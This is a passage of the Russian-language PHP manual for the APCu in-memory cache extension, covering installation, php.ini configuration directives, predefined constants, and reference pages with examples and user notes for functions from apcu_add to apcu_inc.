    • apcu_add — Добавить переменную в кеш
    • apcu_cache_info — Извлекает закешированную информацию из хранилища APCu
    • apcu_cas — Заменяет старое значение на новое
    • apcu_clear_cache — Очистить кеш APCu
    • apcu_dec — Уменьшить сохранённое число
    • apcu_delete — Удаляет сохранённое значение из кеша
    • apcu_enabled — Возможно ли использовать APCu в текущем окружении
    • apcu_entry — Автоматическое извлечение или создание записи в кеше
    • apcu_exists — Проверяет, существуют ли записи
    • apcu_fetch — Извлекает из кеша сохранённую переменную
    • apcu_inc — Увеличить сохранённое число
    • apcu_key_info — Получить детальную информацию о ключе в кеше
    • apcu_sma_info — Извлекает информацию о выделении разделяемой памяти APCu
    • apcu_store — Кеширует переменную
  • APCUIterator — Класс APCUIterator
    • APCUIterator::__construct — Создаёт объект итератор класса APCUIterator
    • APCUIterator::current — Получить текущий элемент
    • APCUIterator::getTotalCount — Получить общее количество записей
    • APCUIterator::getTotalHits — Получить общее количество попаданий в кеш
    • APCUIterator::getTotalSize — Общий размер кеша
    • APCUIterator::key — Получить ключ итератора
    • APCUIterator::next — Перемещает указатель на следующий элемент
    • APCUIterator::rewind — Перемотка итератора
    • APCUIterator::valid — Проверяет, корректна ли текущая позиция итератора

User Contributed Notes

alex at modula-shop-systems dot de 21-Sep-2020 11:43
For PHP-FPM :
Note that all ini values are PHP_INI_SYSTEM and can't be set via php_admin_value in pool.d/xxx.conf and therefore not via different webhosting control/configuration panels.

Use /etc/php/7.x/fpm/conf.d/20-apcu.ini or /etc/php/7.x/fpm/php.ini
boefje at hotmail dot com 29-May-2020 10:55
To use apcu, the apcu extension has to be installed. You can find it here https://pecl.php.net/package/APCu

Note: apcu is not the same as apc!

APCu is the official replacement for the outdated APC extension. APC provided both opcode caching (opcache) and object caching. As PHP versions 5.5 and above include their own opcache, APC was no longer compatible, and its opcache functionality became useless. The developers of APC then created APCu, which offers only the object caching (read "in memory data caching") functionality (they removed the outdated opcache).

Wondering how to use apcu? The following example should give you a basic understanding.

<?php

date_default_timezone_set('Europe/Amsterdam');

$apcuAvailabe = function_exists('apcu_enabled') && apcu_enabled();

if($apcuAvailabe)
{
    //apcu_clear_cache();

    $test1 = apcu_fetch('test1');
    $test2 = apcu_fetch('test2');
}

$test1[] = rand(1, 1000);
$test2[] = rand(1, 1000);

if($apcuAvailabe)
{
    apcu_store('test1', $test1);
    apcu_store('test2', $test2);
}

echo sprintf('current - value = %s<br/>', implode(' ,', $test1));
echo sprintf('current - value = %s<br/>', implode(' ,', $test2));

$aPCUIterator = new APCUIterator();

echo sprintf('totalCount = %s<br/>', $aPCUIterator->getTotalCount());
//echo sprintf('totalHits = %s<br/>', $aPCUIterator->getTotalHits()); // Not implemneted/available?
echo sprintf('totalSize = %s<br/>', $aPCUIterator->getTotalSize());

echo '----------------------------------<br/>';

$aPCUIterator->rewind();
echo sprintf('key = %s<br/>', $aPCUIterator->key());
echoCurrent($aPCUIterator->current());
$aPCUIterator->next();

echo '----------------------------------<br/>';

echo sprintf('key = %s<br/>', $aPCUIterator->key());
echoCurrent($aPCUIterator->current());
echo sprintf('valid = %s<br/>', $aPCUIterator->valid() ? 'true' : 'false');

function echoCurrent($current)
{

    echo sprintf('current - type = %s<br/>', $current['type']);
    echo sprintf('current - key = %s<br/>', $current['key']);
    echo sprintf('current - value = %s<br/>', implode(' ,', $current['value']));
    //echo sprintf('current - num_hits = %s<br/>', $current['num_hits']); // Not implemneted/available?
    echo sprintf('current - mtime = %s<br/>', date("d-m-Y H:i:s", $current['mtime']));
    echo sprintf('current - creation_time = %s<br/>', date("d-m-Y H:i:s", $current['creation_time']));
    echo sprintf('current - deletion_time = %s<br/>', date("d-m-Y H:i:s", $current['deletion_time']));
    echo sprintf('current - access_time = %s<br/>', date("d-m-Y H:i:s", $current['access_time']));
    //echo sprintf('current - ref_count = %s<br/>', $current['ref_count']); // Not implemneted/available?
    echo sprintf('current - mem_size = %s<br/>', $current['mem_size']);
    //echo sprintf('current - ttl = %s<br/>', $current['ttl']); // Not implemneted/available?
}

?>


Введение

APCu - это хранилище "ключ-значение" в памяти для PHP. Ключи являются строками (string), а значения могут быть любыми переменными PHP. APCu поддерживает только кеширование переменных в пользовательском пространстве.

В Windows кеш APCu относится к каждому процессу, поэтому при использовании SAPI, основанного на процессах (а не на потоках), он не будет разделяться между различными процессами.

APCu - это APC без кеширования опкода.

Первая версия APCu имеет номер 4.0.0, так как она была клонирована из основной кодовой ветви APC. Поддержка PHP 7 доступна, начиная с APCu 5.0.0. Поддержка PHP 8 доступна, начиная с APCu 5.1.19.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для сборки этого модуля не требуются внешние библиотеки.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/apcu.

Подсказка

В PHP 7 есть отдельный модуль (» apcu-bc) для обратной совместимости с APC.

В режиме обратной совместимости, APCu регистрирует применимые функции APC с помощью специальных, обратно совместимых, прототипов.

Если функция APC принимает параметр cache_type, он просто игнорируется и опускается в прототипе функции APCu.

Внимание

Начиная с PHP 8.0.0, apcu-bc больше не поддерживается.

Замечание: В Windows, APCu необходимо, чтобы был задана временная директория и веб-сервер имел право туда писать. Модуль проверяет переменные окружающей среды в таком порядке: TMP, TEMP, USERPROFILE. Если ни одна из них не задана, то модуль пытается работать с каталогом WINDOWS.

Замечание: Крайне подробная, в техническом плане, документация о реализации этого модуля доступна в » предоставленном разработчиком файле TECHNOTES.

Исходные коды APCu можно найти » тут.

User Contributed Notes

Anonymous 18-Jan-2023 08:47
To load apcu, add `extension=apcu` in file `php.ini`. Location(s) of `php.ini` can be found by hosting a php-file containing

<?php
phpinfo( );
?>

and request that file it in a browser. That page will also show information about apcu if it is loaded.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Хотя настроек APCu по умолчанию вполне достаточно для большинства задач, но для серьёзных проектов необходимо внимательно изучить следующие настройки.

При настройке APCu необходимо определиться, сколько памяти предоставить в распоряжение APCu. Директива ini-файла, ответственная за эту настройку - apc.shm_size. Внимательно прочитайте нижеследующий раздел.

После запуска сервера скрипт apc.php, который поставляется вместе с модулем, следует скопировать в docroot и просмотреть в браузере, поскольку он предоставляет подробный анализ внутренней работы APCu. Если в PHP включён модуль GD, он даже отобразит некоторые интересные графики.

Если APCu работает, число Cache full count (слева) покажет, сколько раз кеш достигал максимальной ёмкости и был вынужден вытеснять записи, чтобы освободить память. Во время вытеснения, если было указано значение apc.ttl, APCu сначала попытается удалить записи с истёкшим сроком действия, т.е. записи, TTL которых либо истёк, либо записи, у которых TTL не установлен и к которым не было доступа в течение последних apc.ttl секунд. Если значение apc.ttl не было установлена или удаление истёкших записей не освободило достаточно места, APCu очистит весь кеш.

В хорошо настроенном кеше количество вытеснений должно быть минимальным. Если кеш постоянно заполняется и, следовательно, принудительно освобождается, то возникающая в результате этого возня негативно скажется на производительности скрипта. Самый простой способ минимизировать это число - выделить больше памяти для APCu.

Если APCu собран с поддержкой mmap (Memory Mapping), он будет использовать всего один сегмент памяти, если же наоборот, APC собран с поддержкой SHM (SysV Shared Memory), он будет использовать несколько сегментов. MMAP не имеет максимального ограничения, в отличие от SHM, который ограничивается /proc/sys/kernel/shmmax. Обычно рекомендуется использовать MMAP, потому что он гораздо быстрее выделяет память при перезагрузке веб-сервера, что сказывается на скорости запуска сервера.

Опции конфигурации APCu
Имя | По умолчанию | Место изменения | Список изменений
apc.enabled | "1" | PHP_INI_SYSTEM |
apc.shm_segments | "1" | PHP_INI_SYSTEM |
apc.shm_size | "32M" | PHP_INI_SYSTEM |
apc.entries_hint | "4096" | PHP_INI_SYSTEM |
apc.ttl | "0" | PHP_INI_SYSTEM |
apc.gc_ttl | "3600" | PHP_INI_SYSTEM |
apc.mmap_file_mask | NULL | PHP_INI_SYSTEM |
apc.slam_defense | "1" | PHP_INI_SYSTEM |
apc.enable_cli | "0" | PHP_INI_SYSTEM |
apc.use_request_time | "0" | PHP_INI_ALL | До APCu 5.1.19 значение по умолчанию было "1".
apc.serializer | "php" | PHP_INI_SYSTEM | До APCu 5.1.19 значение по умолчанию было "default".
apc.coredump_unmap | "0" | PHP_INI_SYSTEM |
apc.preload_path | NULL | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

apc.enabled bool

Если установить apc.enabled равным 0, то APCu не будет запущен. Это полезно, когда APCu статически включён в PHP и нет других вариантов, для запрещения его использования. Если APC собран как DSO, можно просто закомментировать строку extension в php.ini.

apc.shm_segments int

Количество сегментов разделяемой памяти выделенной под кеш. Если APC использовал всю доступную разделяемую память, а apc.shm_size таким большим, как позволяет система, увеличение этого параметра может помочь.

apc.shm_size string

Размер сегмента разделяемой памяти, заданный в короткой нотации (смотрите этот FAQ). По умолчанию, некоторые системы (включая большинство вариантов BSD) ограничивают это значение крайне малым значением.

apc.entries_hint int

Это подсказка о количестве уникальных пользовательских переменных, которые надо кешировать. Установите равным нулю или вообще не указывайте, если не уверены.

apc.ttl int

Записи кеша без явного указания TTL считаются истёкшими, если к ним не обращались в течение этого количества секунд. По сути, это позволяет удалять такие записи оппортунистически во время добавления кеша или перед полным удалением. Обратите внимание, что поскольку удаление происходит по обстоятельствам, записи могут быть доступны для чтения, даже если их срок жизни превышает apc.ttl секунд. Параметр не влияет на записи кеша, для которых явно задан TTL.

apc.gc_ttl int

Количество секунд, которые запись может находиться в списке сборщика мусора. Это значение обеспечивает безотказность в случае падения сервера в момент исполнения закешированного файла. Если исполняемый файл был изменён, память, выделенная под кеширование его старой версии, не будет возвращена до истечения этого времени. Установка в ноль отключает этот функционал.

apc.mmap_file_mask string

Если собран с поддержкой MMAP, с помощью опции --enable-mmap, этот параметр должен содержать файловую маску типа mktemp-style для передачи в модуль MMAP, чтобы определить, будет ли MMAP использовать файловую систему или разделяемую память. Для файловой системы задайте опцию как /tmp/apc.XXXXXX (ровно 6 X). Для использования shm_open/mmap в стиле POSIX, добавьте .shm в любом месте маски, например /apc.shm.XXXXXX Вы также можете установить его как /dev/zero для использования интерфейса ядра /dev/zero для анонимной памяти mmap. Если не задано, то будет принудительно использоваться анонимный mmap.

apc.slam_defense int

На очень загруженных серверах, когда вы запускаете веб-сервер, сразу множество процессов будут пытаться закешировать один и тот же файл одновременно. Этой опцией задаётся вероятность, в процентах, того, что попытка одного конкретного процесса закешировать данные будет отклонена. Например, если apc.slam_defense установить равной 75, то это означает, что вероятность закешировать файл, которого в кеше нет, будет равна 25% и вероятность того, что в кешировании будет отказано равна 75%. Для запрета данного функционала установите этот параметр равным 0.

apc.enable_cli int

Больше для тестирования и отладки. Эта настройка включает APCu для CLI версии PHP. При обычной работе, запускать APCu, который будет создавать, наполнять и уничтожать кеш при каждом запуске сценария в консоли, будет далеко не лучшей идеей. Но в целях тестирования и отладки, можно легко включить APCu для CLI.

apc.serializer string

Указывает APC использовать сторонний сериализатор.

apc.coredump_unmap bool

Разрешает APC перехватывать сигналы, такие как SIGSEGV, который записывает coredump, когда подан. Когда эти сигналы будут получены, APC попытается освободить всю разделяемую память, чтобы не включать её в coredump. Эта настройка может увеличить стабильность системы, когда критический сигнал был получен, а APC сконфигурирован на использование большого объёма памяти.

Внимание

Эта возможность потенциально опасна. Освобождение сегментов разделяемой памяти при получении критического сигнала может привести к непредсказуемому поведению.

Замечание:

Хотя некоторые ядра предоставляют возможность игнорировать некоторые сегменты разделяемой памяти при записи core-файла, эти реализации могут также игнорировать важные сегменты памяти, такие как Apache scoreboard.

apc.preload_path string

Опционально. Задаёт путь, который используется APC для загрузки кешированных данных во время запуска.

apc.use_request_time bool

Использовать время старта запроса SAPI для TTL.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Данный модуль не определяет каких-либо типов ресурсов.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

APC_ITER_ALL (int)
APC_ITER_ATIME (int)
APC_ITER_CTIME (int)
APC_ITER_DEVICE (int)
APC_ITER_DTIME (int)
APC_ITER_FILENAME (int)
APC_ITER_INODE (int)
APC_ITER_KEY (int)
APC_ITER_MD5 (int)
APC_ITER_MEM_SIZE (int)
APC_ITER_MTIME (int)
APC_ITER_NONE (int)
APC_ITER_NUM_HITS (int)
APC_ITER_REFCOUNT (int)
APC_ITER_TTL (int)
APC_ITER_TYPE (int)
APC_ITER_VALUE (int)
APC_LIST_ACTIVE (int)
APC_LIST_DELETED (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции APCu

Содержание

  • apcu_add — Добавить переменную в кеш
  • apcu_cache_info — Извлекает закешированную информацию из хранилища APCu
  • apcu_cas — Заменяет старое значение на новое
  • apcu_clear_cache — Очистить кеш APCu
  • apcu_dec — Уменьшить сохранённое число
  • apcu_delete — Удаляет сохранённое значение из кеша
  • apcu_enabled — Возможно ли использовать APCu в текущем окружении
  • apcu_entry — Автоматическое извлечение или создание записи в кеше
  • apcu_exists — Проверяет, существуют ли записи
  • apcu_fetch — Извлекает из кеша сохранённую переменную
  • apcu_inc — Увеличить сохранённое число
  • apcu_key_info — Получить детальную информацию о ключе в кеше
  • apcu_sma_info — Извлекает информацию о выделении разделяемой памяти APCu
  • apcu_store — Кеширует переменную

User Contributed Notes

There are no user contributed notes for this page.


Добавить переменную в кеш

  • « Функции APCu
  • apcu_cache_info »
  • PHP Manual
  • Функции APCu
  • Добавить переменную в кеш

apcu_add

(PECL apcu >= 4.0.0)

apcu_add — Добавить переменную в кеш

Описание

apcu_add(string $key, mixed $var, int $ttl = 0): bool
apcu_add(array $values, mixed $unused = NULL, int $ttl = 0): array

Добавляет переменную в кеш, если её там ещё нет.

Замечание: В отличие от многих других механизмов PHP, переменные, сохранённые apcu_add(), сохраняются между запросами, пока их не удалят из кеша.

Список параметров

key

Имя, под которым будет сохранена переменная. Значение key является уникальным для кеша, так что попытка использовать apcu_add() для сохранения переменной с ключом, который уже существует, не перезапишет запись, а вернёт false. (Это единственное различие между apcu_add() и apcu_store().)

var

Переменная для сохранения

ttl

Время жизни; переменная var будет храниться в течение ttl секунд. Как только ttl секунд пройдут, переменная будет удалена из кеша (при следующем запросе). Если параметр ttl не задан (или ttl задан как 0), значение будет храниться пока не будет удалено явно, либо по технической причине (очистка кеша, перезапуск и т.д.)

values

Имена в ключах, переменные в значениях.

Возвращаемые значения

Возвращает true, если удалось занести значение в кеш, в противном случае возвращает false. Второй тип синтаксиса возвращает массив с ключами, по которым произошла ошибка.

Примеры

Пример #1 Пример использования apcu_add()

<?php
$bar = 'BAR';
apcu_add('foo', $bar);
var_dump(apcu_fetch('foo'));
echo "\n";
$bar = 'NEVER GETS SET';
apcu_add('foo', $bar);
var_dump(apcu_fetch('foo'));
echo "\n";
?>

Результат выполнения данного примера:

string(3) "BAR"
string(3) "BAR"

Смотрите также

  • apcu_store() - Кеширует переменную
  • apcu_fetch() - Извлекает из кеша сохранённую переменную
  • apcu_delete() - Удаляет сохранённое значение из кеша

User Contributed Notes

sritter at satoya dot cz 27-Mar-2021 03:19
This is usable for locking/unlocking

<?php
do {} while (!apcu_add('lock_name', 'foo', 10));
// this part is protected against multiple/multithread run
apcu_delete('lock_name');


Извлекает закешированную информацию из хранилища APCu

  • « apcu_add
  • apcu_cas »
  • PHP Manual
  • Функции APCu
  • Извлекает закешированную информацию из хранилища APCu

apcu_cache_info

(PECL apcu >= 4.0.0)

apcu_cache_info — Извлекает закешированную информацию из хранилища APCu

Описание

apcu_cache_info(bool $limited = false): array|false

Извлекает закешированную информацию из хранилища APCu.

Список параметров

limited

Если limited задан как true, возвращаемое значение не будет содержать индивидуальный список записей кеша. Это полезно при попытках оптимизировать вызовы для получения статистики.

Возвращаемые значения

Массив кешированных данных (и метаданные) или false в случае возникновения ошибки

Замечание: apcu_cache_info() вызывает предупреждение, если невозможно получить данные кеша APC. Обычно это происходит, если APC не разрешён.

Список изменений

Версия | Описание
PECL apcu 3.0.11 | Добавлен параметр limited.
PECL apcu 3.0.16 | Добавлена опция "filehits" для параметра cache_type.

Примеры

Пример #1 Пример использования apcu_cache_info()

<?php
print_r(apcu_cache_info());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [num_slots] => 2000
    [ttl] => 0
    [num_hits] => 9
    [num_misses] => 3
    [start_time] => 1123958803
    [cache_list] => Array
        (
            [0] => Array
                (
                    [filename] => /path/to/apcu_test.php
                    [device] => 29954
                    [inode] => 1130511
                    [type] => file
                    [num_hits] => 1
                    [mtime] => 1123960686
                    [creation_time] => 1123960696
                    [deletion_time] => 0
                    [access_time] => 1123962864
                    [ref_count] => 1
                    [mem_size] => 677
                )
            [1] => Array (...итерирует для каждого закешированного файла)
)

Смотрите также

  • Директивы конфигурации APCu
  • APCUIterator::getTotalSize() - Общий размер кеша
  • APCUIterator::getTotalHits() - Получить общее количество попаданий в кеш
  • APCUIterator::getTotalCount() - Получить общее количество записей

User Contributed Notes

RQuadling at GMail dot com 30-Jun-2022 10:33
If you get the following warning when using APCu functions via PHP's CLI SAPI:

  PHP Warning:  apcu_cache_info(): No APC info available.  Perhaps APC is not enabled? Check apc.enabled in your ini file

then check the status of `apc.enable_cli`. This is a separate INI entry for enabling APC via the CLI SAPI.


Заменяет старое значение на новое

  • « apcu_cache_info
  • apcu_clear_cache »
  • PHP Manual
  • Функции APCu
  • Заменяет старое значение на новое

apcu_cas

(PECL apcu >= 4.0.0)

apcu_cas — Заменяет старое значение на новое

Описание

apcu_cas(string $key, int $old, int $new): bool

apcu_cas() заменяет значение уже существующего целочисленного значения, если оно равно old на new.

Список параметров

key

Ключ изменяемого значения.

old

Старое значение (которое в данный момент хранится в кеше).

new

Новое значение.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования apcu_cas()

<?php
apcu_store('foobar', 2);
echo '$foobar = 2', PHP_EOL;
echo '$foobar == 1 ? 2 : 1 = ', (apcu_cas('foobar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;
echo '$foobar == 2 ? 1 : 2 = ', (apcu_cas('foobar', 2, 1) ? 'ok' : 'fail'), PHP_EOL;

echo '$foobar = ', apcu_fetch('foobar'), PHP_EOL;

echo '$f__bar == 1 ? 2 : 1 = ', (apcu_cas('f__bar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;

apcu_store('perfection', 'xyz');
echo '$perfection == 2 ? 1 : 2 = ', (apcu_cas('perfection', 2, 1) ? 'ok' : 'epic fail'), PHP_EOL;

echo '$foobar = ', apcu_fetch('foobar'), PHP_EOL;
?>

Результатом выполнения данного примера будет что-то подобное:

$foobar = 2
$foobar == 1 ? 2 : 1 = fail
$foobar == 2 ? 1 : 2 = ok
$foobar = 1
$f__bar == 1 ? 2 : 1 = fail
$perfection == 2 ? 1 : 2 = epic fail
$foobar = 1

Смотрите также

  • apcu_dec() - Уменьшить сохранённое число
  • apcu_store() - Кеширует переменную

User Contributed Notes

Anonymous 03-Feb-2018 12:49
The output in the example says:

$f__bar == 1 ? 2 : 1 = fail

but in reality it should be:

$f__bar == 1 ? 2 : 1 =  ok

the first time the code is ran as the cache is empty and apcu_cas allows the key to be inserted.


Очистить кеш APCu

  • « apcu_cas
  • apcu_dec »
  • PHP Manual
  • Функции APCu
  • Очистить кеш APCu

apcu_clear_cache

(PECL apcu >= 4.0.0)

apcu_clear_cache — Очистить кеш APCu

Описание

apcu_clear_cache(): bool

Очищает кеш APCu.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Всегда возвращает true

Смотрите также

  • apcu_cache_info() - Извлекает закешированную информацию из хранилища APCu

User Contributed Notes

There are no user contributed notes for this page.


Уменьшить сохранённое число

  • « apcu_clear_cache
  • apcu_delete »
  • PHP Manual
  • Функции APCu
  • Уменьшить сохранённое число

apcu_dec

(PECL apcu >= 4.0.0)

apcu_dec — Уменьшить сохранённое число

Описание

apcu_dec(
string $key,
int $step = 1,
bool &$success = ?,
int $ttl = 0
): int|false

Уменьшает сохранённое число.

Список параметров

key

Ключ значения, которое надо уменьшить.

step

Величина, на которую необходимо уменьшить.

success

Необязательный параметр. Если задан, то в него будет записано логическое значение true или false в зависимости от успешности операции уменьшения.

ttl

TTL(время жизни), используемое если операция вставляет новое значение (а не уменьшает существующее).

Возвращаемые значения

Возвращает текущее значение key в случае успешного выполнения или false в случае возникновения ошибки

Примеры

Пример #1 Пример использования apcu_dec()

<?php
echo "Сделаем что-то без ошибки", PHP_EOL;

apcu_store('anumber', 42);

echo apcu_fetch('anumber'), PHP_EOL;

echo apcu_dec('anumber'), PHP_EOL;
echo apcu_dec('anumber', 10), PHP_EOL;
echo apcu_dec('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "А теперь с ошибкой", PHP_EOL, PHP_EOL;

apcu_store('astring', 'foo');

$ret = apcu_dec('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

Результатом выполнения данного примера будет что-то подобное:

Сделаем что-то без ошибки
42
41
31
21
bool(true)
А теперь с ошибкой

bool(false)
bool(false)

Смотрите также

  • apcu_inc() - Увеличить сохранённое число

User Contributed Notes

There are no user contributed notes for this page.


Удаляет сохранённое значение из кеша

  • « apcu_dec
  • apcu_enabled »
  • PHP Manual
  • Функции APCu
  • Удаляет сохранённое значение из кеша

apcu_delete

(PECL apcu >= 4.0.0)

apcu_delete — Удаляет сохранённое значение из кеша

Описание

apcu_delete(mixed $key): mixed

Удаляет сохранённое значение из кеша.

Список параметров

key

key можно задать как строку, для удаления одного значения, либо как массив строк, для удаления нескольких значений, либо как объект APCUIterator.

Возвращаемые значения

Если key является массивом (array), возвращается индексированный массив (array) ключей. В противном случае возвращается true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования apcu_delete()

<?php
$bar = 'BAR';
apcu_store('foo', $bar);

//Удаляем одну запись.
apcu_delete('foo');

// Удаляем несколько записей.
apcu_delete(['foo', 'bar', 'baz']);

// Используем итератор с регулярным выражением.
apcu_delete(new APCUIterator('#^myprefix_#'));
?>

Смотрите также

  • apcu_store() - Кеширует переменную
  • apcu_fetch() - Извлекает из кеша сохранённую переменную
  • apcu_clear_cache() - Очистить кеш APCu
  • APCUIterator

User Contributed Notes

ywarnier at beeznest dot org 28-Dec-2022 08:52
Calling apcu_delete() on an unexisting cached variable name doesn't generate a NOTICE (nor WARNING), making it safe to use if unsure of the state of that variable.


Возможно ли использовать APCu в текущем окружении

  • « apcu_delete
  • apcu_entry »
  • PHP Manual
  • Функции APCu
  • Возможно ли использовать APCu в текущем окружении

apcu_enabled

(PECL apcu >= 4.0.3)

apcu_enabled — Возможно ли использовать APCu в текущем окружении

Описание

apcu_enabled(): bool

Определяет, возможно ли использовать APCu в текущем окружении.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true или false в зависимости от возможности использовать APCu.

User Contributed Notes

There are no user contributed notes for this page.


Автоматическое извлечение или создание записи в кеше

  • « apcu_enabled
  • apcu_exists »
  • PHP Manual
  • Функции APCu
  • Автоматическое извлечение или создание записи в кеше

apcu_entry

(PECL apcu >= 5.1.0)

apcu_entry — Автоматическое извлечение или создание записи в кеше

Описание

apcu_entry(string $key, callable $generator, int $ttl = 0): mixed

Автоматически пытается найти запись с заданным ключом key. Если не может, то вызывается генератор generator и ему передаётся ключ key как единственный аргумент. Сгенерированное значение заносится в кеш с указанным ttl и возвращается.

Замечание: Когда контроль передаётся apcu_entry(), производится эксклюзивная блокировка кеша, которая снимается после завершения работы apcu_entry(): это приводит к тому, что тело генератора generator помещается в критическую секцию, запрещая двум процессам запустить выполнение одинакового кода конкурентно. К тому же, это приводит к запрету конкурентного запуска любых других функций APCu, так как они будут выставлять ту же блокировку.

Внимание

Единственная функция APCu, которую можно безопасно вызывать в генераторе generator - это apcu_entry().

Список параметров

key

Идентификатор записи

generator

Callback-функция, принимающая один параметр key и возвращающая значение для кеширования.

ttl

Время жизни; переменная var будет храниться в течение ttl секунд. Как только ttl секунд пройдут, переменная будет удалена из кеша (при следующем запросе). Если параметр ttl не задан (или ttl задан как 0), значение будет храниться пока не будет удалено явно, либо по технической причине (очистка кеша, перезапуск и т.д.)

Возвращаемые значения

Возвращает закешированное значение

Примеры

Пример #1 Пример использования apcu_entry()

<?php
$config = apcu_entry("config", function($key) {
return [
"fruit" => apcu_entry("config.fruit", function($key){
return [
"apples",
"pears"
];
}),
"people" => apcu_entry("config.people", function($key){
return [
"bob",
"joe",
"niki"
];
})
];
});

var_dump($config);
?>

Результат выполнения данного примера:

array(2) {
  ["fruit"]=>
  array(2) {
    [0]=>
    string(6) "apples"
    [1]=>
    string(5) "pears"
  }
  ["people"]=>
  array(3) {
    [0]=>
    string(3) "bob"
    [1]=>
    string(3) "joe"
    [2]=>
    string(4) "niki"
  }
}

Смотрите также

  • apcu_store() - Кеширует переменную
  • apcu_fetch() - Извлекает из кеша сохранённую переменную
  • apcu_delete() - Удаляет сохранённое значение из кеша

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существуют ли записи

  • « apcu_entry
  • apcu_fetch »
  • PHP Manual
  • Функции APCu
  • Проверяет, существуют ли записи

apcu_exists

(PECL apcu >= 4.0.0)

apcu_exists — Проверяет, существуют ли записи

Описание

apcu_exists(mixed $keys): mixed

Проверяет, существуют ли записи.

Список параметров

keys

Строка или массив строк, содержащие ключи для проверки.

Возвращаемые значения

Возвращает true, если ключ существует или false, если нет. Если же был передан массив ключей, то вернётся массив с существующими ключами, либо пустой массив, если ни одного ключа не существует.

Примеры

Пример #1 Пример использования apcu_exists()

<?php
$fruit = 'apple';
$veggie = 'carrot';

apcu_store('foo', $fruit);
apcu_store('bar', $veggie);

if (apcu_exists('foo')) {
echo "Foo с: ";
echo apcu_fetch('foo');
} else {
echo "Foo не существует";
}

echo PHP_EOL;
if (apcu_exists('baz')) {
echo "Baz не существует.";
} else {
echo "Baz не существует";
}

echo PHP_EOL;

$ret = apcu_exists(array('foo', 'donotexist', 'bar'));
var_dump($ret);

?>

Результатом выполнения данного примера будет что-то подобное:

Foo существует: apple
Baz не существует
array(2) {
  ["foo"]=>
  bool(true)
  ["bar"]=>
  bool(true)
}

Смотрите также

  • apcu_cache_info() - Извлекает закешированную информацию из хранилища APCu
  • apcu_fetch() - Извлекает из кеша сохранённую переменную

User Contributed Notes

There are no user contributed notes for this page.


Извлекает из кеша сохранённую переменную

  • « apcu_exists
  • apcu_inc »
  • PHP Manual
  • Функции APCu
  • Извлекает из кеша сохранённую переменную

apcu_fetch

(PECL apcu >= 4.0.0)

apcu_fetch — Извлекает из кеша сохранённую переменную

Описание

apcu_fetch(mixed $key, bool &$success = ?): mixed

Извлекает из кеша сохранённую переменную.

Список параметров

key

Ключ key, под которым запись была сохранена в кеш (с помощью apcu_store()). Если задан массив, то будет извлечён и возвращён каждый элемент.

success

Устанавливается в true в случае успешного выполнения и false в случае возникновения ошибки.

Возвращаемые значения

Сохранённая переменная либо массив; false в случае возникновения ошибки

Список изменений

Версия | Описание
PECL apcu 3.0.17 | Добавлен параметр success.

Примеры

Пример #1 Пример использования apcu_fetch()

<?php
$bar = 'BAR';
apcu_store('foo', $bar);
var_dump(apcu_fetch('foo'));
?>

Результат выполнения данного примера:

string(3) "BAR"

Смотрите также

  • apcu_store() - Кеширует переменную
  • apcu_delete() - Удаляет сохранённое значение из кеша
  • APCUIterator

User Contributed Notes

orlando at thoeny dot dev 21-Apr-2023 11:23
Note that $success is set to false if no cached entry with given key exists.
So "failure" tells you if the cache was hit or not.


Увеличить сохранённое число

  • « apcu_fetch
  • apcu_key_info »
  • PHP Manual
  • Функции APCu
  • Увеличить сохранённое число

apcu_inc

(PECL apcu >= 4.0.0)

apcu_inc — Увеличить сохранённое число

Описание

apcu_inc(
string $key,
int $step = 1,
bool &$success = ?,
int $ttl = 0
): int|false

Увеличивает сохранённое число.

Список параметров

key

Ключ значения, которое надо увеличить.

step

Величина, на которую необходимо увеличить.

success

Необязательный параметр. Если задан, то в него будет записано логическое значение true или false в зависимости от успешности операции увеличения.

ttl

TTL(время жизни), используемое если операция вставляет новое значение (а не увеличивает существующее).

Возвращаемые значения

Возвращает текущее значение key в случае успешного выполнения или false в случае возникновения ошибки

Примеры

Пример #1 Пример использования apcu_inc()

<?php
echo "Сделаем что-то без ошибки", PHP_EOL;

apcu_store('anumber', 42);

echo apcu_fetch('anumber'), PHP_EOL;

echo apcu_inc('anumber'), PHP_EOL;
echo apcu_inc('anumber', 10), PHP_EOL;
echo apcu_inc('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "А теперь с ошибкой", PHP_EOL, PHP_EOL;

apcu_store('astring', 'foo');

$ret = apcu_inc('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

Результатом выполнения данного примера будет что-то подобное:

Сделаем что-то без ошибки
42
43
53
63
bool(true)
А теперь с ошибкой

bool(false)
bool(false)

Смотрите также

  • apcu_dec() - Уменьшить сохранённое число

User Contributed Notes

There are no user contributed notes for this page.


Получить детальную информацию о ключе в кеше

  • « apcu_inc
  • apcu_sma_info »
  • PHP Manual
  • Функции APCu
  • Получить детальную информацию о ключе в кеше

apcu_key_info

(Информация о версии неизвестна, возможно, только в Git)

apcu_key_info — Получить детальную информацию о ключе в кеше

Описание

apcu_key_info(string $key): ?array

Получить детальную информацию о ключе в кеше

Список параметров
